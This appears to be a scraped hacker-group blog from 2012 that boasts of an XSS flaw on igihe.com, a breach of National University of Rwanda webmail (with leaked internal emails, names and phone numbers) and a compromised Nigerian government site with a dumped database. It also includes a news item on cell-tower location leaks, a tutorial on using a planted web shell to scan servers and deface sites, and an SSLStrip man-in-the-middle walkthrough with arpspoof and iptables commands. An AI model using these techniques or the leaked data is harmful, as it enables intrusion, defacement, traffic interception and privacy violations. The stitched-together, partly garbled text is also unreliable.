Igihe.com vulnerable to XSS

Rwandan Hackers xss vulnerability in igihe.com.
Alert:
Even though the risk level is estimated as low, if unresolved, the security hole present in one of the search modules could allow a remote attacker to hijack cookies and even steal accounts.


On the other hand, the attacker would have to social engineer the victim into performing certain tasks for the session hijacking to be successful.
XSS LINK: www.igihe.com/spip.php?page=hacking=/hacked-by-Rwandan-Hackers.html

National University of Rwanda "webmail" Hacked By Rwandan Hackers

National University of Rwanda "webmail" Hacked By Rwandan Hackers
Link:http://pastebin.com/4ddRrf3t


----- Forwarded message from "OS (O) ORGANS SECRETARIAT"
<secretariat_organs at nur.ac.rw> -----
   Date: Mon, 16 Apr 2012 10:37:07 +0200
   From: "OS (O) ORGANS SECRETARIAT" <secretariat_organs at nur.ac.rw>
Subject: Invitation to Extraordinary Senate of Thursday, 19th April
12 at 9amAudit Meficine+Working papers
     To: senate <senate at lists.nur.ac.rw>
     Cc: "OS (O) ORGANS SECRETARIAT" <secretariat_organs at nur.ac.rw>, SIMEON
SEBATUKURA <ssebatukura at nur.ac.rw>, EMMANUEL BUMVAMPOZE
<ebumvampoze at nur.ac.rw>, ADERLINE MUKAKAYUMBA <amukakayumba at nur.ac.rw>,
JUSTICE NTWALI <jntwali at nur.ac.rw>

Dear Senate members,
   as earlier communicated to you in the last Senate, you are hereby invited
to attend the Extraordinary Senate meeting of Thursday, 19th April 2012
starting at 9am Audi Medicine.

   Please find herewith attached the signed invitation and working papers
for your reference and record. Hard copies will reach you soon.

   See you then at the meeting!

   Regards,
   --
   Secretariat of NUR Organs
   Email: secretariat_organs at nur.ac.rw
   Tel: Simeon SEBATUKURA  0788527341 (Director)


Augustin Nshimiyimana augustin.nshimiyimana at student.uclouvain.be
Tue Mar 6 20:48:19 CAT 2012
Next message: [Facmed-clinicalpsychology] (no subject)
Messages sorted by: [ date ] [ thread ] [ subject ] [ author ]
Dear all ,
I take this opportunity to greet everbody and greet all people who have
been involved to help us to improve the ways of communication.
Augustin.

[Post-docs-sida] l'évaluation de votre projet

Hermogène NSENGIMANA hnsengimana à nur.ac.rw
jeu. 12 janvier 2012 17:11:22 CAT
Message suivant: [Post-docs-sida] l'évaluation de votre projet
Messages triés par: [date] [thread] [objet] [auteur]

 Chers collègues,
Comme vous le savez tous, nous sommes en train d'évaluer votre projet ainsi que je voudrais vous demander de remplir ce formulaire, les questions ont été conçus par nos pertners suédois en collaboration avec l'équipe de l'UNR. Pouvez-vous remplir le formulaire ci-joint et le retourner avant le lundi.

S'il vous plaît respecter la date limite.

-
Dr Hermogène Nsengimana
Nationale du Rwanda Universty
Faculté des sciences
Vice-doyen chargé des études de recherche, de conseil et d'études supérieures
et
Directeur adjoint par intérim pour la recherche, NUR
e-mail: hnsengimana@nur.ac.rw
Cellulaire: +250788416745

::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
[Senate] Invitation to a Joint meeting of Senate & Executive Council, Friday, 8 June 2012 @ 09:00 a.m. in the Auditorium of Medicine
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

Dear Sir/Madam,
 
   This is to invite you to an ordinary Joint meeting of the Academic Senate
& Executive Council to take place on FRIDAY, 8TH JUNE 2012 starting
at 09:00 A.M. in the AUDITORIUM OF THE FACULTY OF MEDICINE.
 
 
   The agenda of the meeting the following:
 
   1.     Adoption of the agenda;
   2.     Adoption of the minutes of the ordinary meeting of Thursday,
19th January                                                            
2012 and the extraordinary meeting of 26th April 2012;
   3.     Matters arising from the above minutes;
   4.     Appeal to allow NUR staff to pay tuition fees by deduction on
salary;
   5.     Appealing the intension from the Ministry of Health to phase-out
the training of Clinical Psychologists at NUR;
   6.     Report of the taskforce for the PAMI report, and
   7.     AOB.
 
   Awaiting to see you all at the meeting.

   Regards
 
    --
   Secretariat of NUR Organs
   Email: secretariat_organs at nur.ac.rw
   Tel: Simeon SEBATUKURA  0788527341 (Director)
 
----------------------------------------------------------------
Disclaimer: The information within this e-mail is confidential and is
intended only for the use of the individual to whom it is addressed. If you
are not the intended recipient of this e-mail, you should be aware that any
retention, disclosure, copying, or distribution of this message, or any
part of it, is expressly prohibited and may be unlawful. The views
expressed in this e-mail are not necessarily the views of National
University of Rwanda, and the University, its directors, officers or
employees make no representation nor accept any liability for its accuracy
or completeness unless clearly stated to the contrary. Any attachments to
this message have been checked for viruses, but please rely on your own
virus checker and procedures.

[Senate] Invitation to the Senate meeting of Tuesday, 3 April 2012 @ 9:00 a.m. in the Auditorium of Medicine.
This is to acknowledge receipt of the invitation. However, would you please accept my apology of not attending the senate meeting because of being out of the country. In fact, I'll be at the Harvard School of Public Health/Boston for my post-doctoral research from March 31, 2012 to April 29, 2012. Dr. Mukarusanga Ignatiana (message copied) acting as HoD will attend the meeting on behalf of the HoD Clinical Psychology.

Kind regards,

+-+-+-+-+
Dr. Vincent SEZIBERA, PhD, Senior Lecturer
Head, Department Clinical Psychology
National University of Rwanda
B-117 Butare,
Rwanda.
E-mail: vsezibera at nur.ac.rw
Telephone: +250 (0) 78877 12 89
http://sezibera.blogspot.com/
http://twitter.com/#!/vsezibera/

+++++++++++++++++++++++++++++++++++++++

Disclaimer: The information within this e-mail is confidential and is
intended only for the use of the individual to whom it is addressed. If you
are not the intended recipient of this e-mail, you should be aware that any
retention, disclosure, copying, or distribution of this message, or any
part of it, is expressly prohibited and may be unlawful. The views
expressed in this e-mail are not necessarily the views of National
University of Rwanda, and the University, its directors, officers or
employees make no representation nor accept any liability for its accuracy
or completeness unless clearly stated to the contrary. Any attachments to
this message have been checked for viruses, but please rely on your own
virus checker and procedures.

Le 27 mars 2012 à 10:59, OS (O) ORGANS SECRETARIAT a écrit :

> Dear member,
>
> This is to inform you that the meeting of the Academic Senate that was to be held on Friday, 9th March 2012, but was postponed due to lack of quorum, will take place on Tuesday, 3rd April 2012 at 9:00 a.m. in the Auditorium of the Faculty of Medicine.
>
> Except for ?Matters from ASQC? which is a new point on the agenda, you will bring the working documents you already got for the other items.
>
>
> Regards
>
>
> Emmanuel
>
>
> Secretariat of NUR Organs
> Email: secretariat_organs at nur.ac.rw
> Tel: Simeon SEBATUKURA  0788527341 (Director)
>
> ----------------------------------------------------------------
> Disclaimer: The information within this e-mail is confidential and is
> intended only for the use of the individual to whom it is addressed. If you
> are not the intended recipient of this e-mail, you should be aware that any
> retention, disclosure, copying, or distribution of this message, or any
> part of it, is expressly prohibited and may be unlawful. The views
> expressed in this e-mail are not necessarily the views of National
> University of Rwanda, and the University, its directors, officers or
> employees make no representation nor accept any liability for its accuracy
> or completeness unless clearly stated to the contrary. Any attachments to
> this message have been checked for viruses, but please rely on your own
> virus checker and procedures.
>
> _______________________________________________

Mobile Network Is Vulnerable, Hacker Can Easily Track Your Location

Researchers of University of Minnesota have found that phone towers are leaking location information that can be used to track a mobile phone's exact location. The most interesting thing is to exploit this vulnerability you need not to purchase any kind of hardware gadget only a laptop and a mobile phone is more than sufficient to do that. "Anybody can set up this particular apparatus to be able to listen to broadcast messages from the towers," Kune said. "They don't need any special cooperation from the service provider, don't need to grab any information from the service provider, don't need to connect to the network, they just have to listen to what the cell towers are broadcasting."
Researchers plugged a mobile phone into a laptop to listen in on transmissions from phone towers. They then dialed the number of the mobile phone they hoped to locate, triggering signals from the tower to the phone that gives away its location within a dozen blocks. The process takes about 10 to 15 minutes. The same techniques could be used to track phones at greater distances if hackers have access to nearby phone towers.
Video Demonstration :-

Shellene Johnson, program manager at the Minnesota Coalition for Battered Women, said many victims of domestic violence or stalking rely on mobile phones to find help or call police. "If victims are unaware this is happening — they may be going into a safe location or into a shelter — it gives very easy access to information of her whereabouts," Johnson said. "The tool she's using to hopefully protect herself could be used to harm or possibly kill her."
Carol Arthur, executive director of the Domestic Abuse Project, said knowledge of a person's location is another way that some abusers can maintain control over their victims. "If you have changed your address and you're trying to get away from this person... but all of a sudden they found you, it's like you feel trapped, like you'd never be able to get away from this person," Arthur said.
The university report also speculated that the vulnerability could be exploited by oppressive governments or burglars. The researchers found that they could tap into the locations of phones on T-Mobile and AT&T networks. Kune said it also likely worked on Verizon and Sprint phones, although the tests weren't run on those networks.
The research team proposed fixes to the information leakage to AT&T and phone manufacturer Nokia. Kune said that Nokia has given the researchers feedback on the viability of their fixes. AT&T has not yet responded to the research team, but AT&T spokesman Alex Carey said the company takes all reports of network vulnerabilities seriously.
"If it's something that's identified as a valid threat, we would act on it right away, devote whatever resources we need to combat the threat," Carey said. The research was presented in early February at the Annual Network & Distributed System Security Symposium in San Diego, Calif.


-Source (MPR News)

Nigerian Building and Road Research Institute (NBRRI) OWNED !!

The Nigerian Building and Road Research Institute (NBRRI) is a Government of Nigeria institute responsible for researching and developing road and building materials for the Nigerian building industry. The institute is under the Federal Ministry of Science and Technology of Nigeria.
we found a critical vulnerabiliy on their server
LINK HACKED :http://nbrri.gov.ng/newsdisplay.php?ID=37

                                                       ADMIN PANEL

DATABASE LINK:http://pastebin.com/6viK5hJD

Jumping Server Tutorial

Jumping Server - Its a method to  get access to all readable directories & possible databases on the particular server .

Requirements -

    Shelled Website
    Download Jumping.zip -  http://www.ziddu.com/download/18802285/jumping.rar.html



Step By Step Guide -


    Download & Upload you Jumping.zip file to your shell .

    After uploading your jumping.zip file , now you have to extract it . so to extract it we will go to execute option & write the following command - " unzip Jumping.zip"  (without quotes ) .

Once we have unzipped our files in the public_html dir ,then we can access them by going to www.hackedsite.com/jumping  .

  So after once you have opened it , now you have to open barc0de mini.php file . The barcode mini.php shell is a 404 Private shell . when you open it it will show like 404 not found , but actually there is a place to enter password . After you enter your password you will be prompted inside . So the password for this shell is Hackers .

Now you after to open jump.php . It will scan for all readable directories on the server & after the scanning is done , you can see the readable directories there as shown in the image below .

So once you have got the list of the readable directories , then you have to run the scan.php it will scan scan for config & other files in that directory . 

So finally you got the list of all the readable directories & files . so accordingly you can deface the site by going to the particular directory & changing the index page .

Crack SSL Using SSLStrip In BackTrack 5

SSL  - It was discovered by Moxie Marlinespike , he is a computer security researcher & also Co-founder at whisper systems . It is well know for work with both secure protocols (Https)& Android .




Advantage of Cracking SSLStrip :

    Address bar uses http instead of secure https.
    Sniffing becomes easy .


Things Required :

    Backtrack 5
    Arpspoof
    IP Tables
    SSL Strip
    Netstat


Step By Step Gudie :

    So first start up your Backtrack 5 terminal & type the following Command


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<

echo '1' > /proc/sys/net/ipv4/ip_forward

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<



    Now after typing this command the backtrack will be able to forward the packets, now we have to get little information about the gateway Ip , so to know more about our gateway IP we will type the following command



<<<<<<<<<<<<
netstat -nr
<<<<<<<<<<<<




    After we get some info about the gateway ip, then we will ARPSpoof to perform the attack


<<<<<<<<<<<<<<<<<
arpspoof -i eth0 192.168.8.8
<<<<<<<<<<<<<<<<<



    So in the above command eth0 represents the network interface card (NIC) or if you are using a wireless then it will be wlan0 . so in our case the default gateway is 192.168.1.1 . After that we have to Download sslstrip, which you can find from the official website .


    Then after we have installed sslstrip now we have to make our firewall to redirect the traffic from Port 80 to Port 8080, so to do this type the following command


<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<




    so our last step would be to make all the traffic go from ARPspoof tables



<<<<<<<<<<<<<<<<<<<<<<<<<<
echo '1' > /proc/sys/net/ipv4/ip_forward

arpspoof -i eth0 192.168.8.8
<<<<<<<<<<<<<<<<<<<<<<<<<<

So finally we are done, now the ARPspoof will start capturing traffic & we have to use SSLstrip now so type the command below


<<<<<<<<<<<<
sslstrip -l 8080
<<<<<<<<<<<<

Now you have successfully cracked the SSLstrip !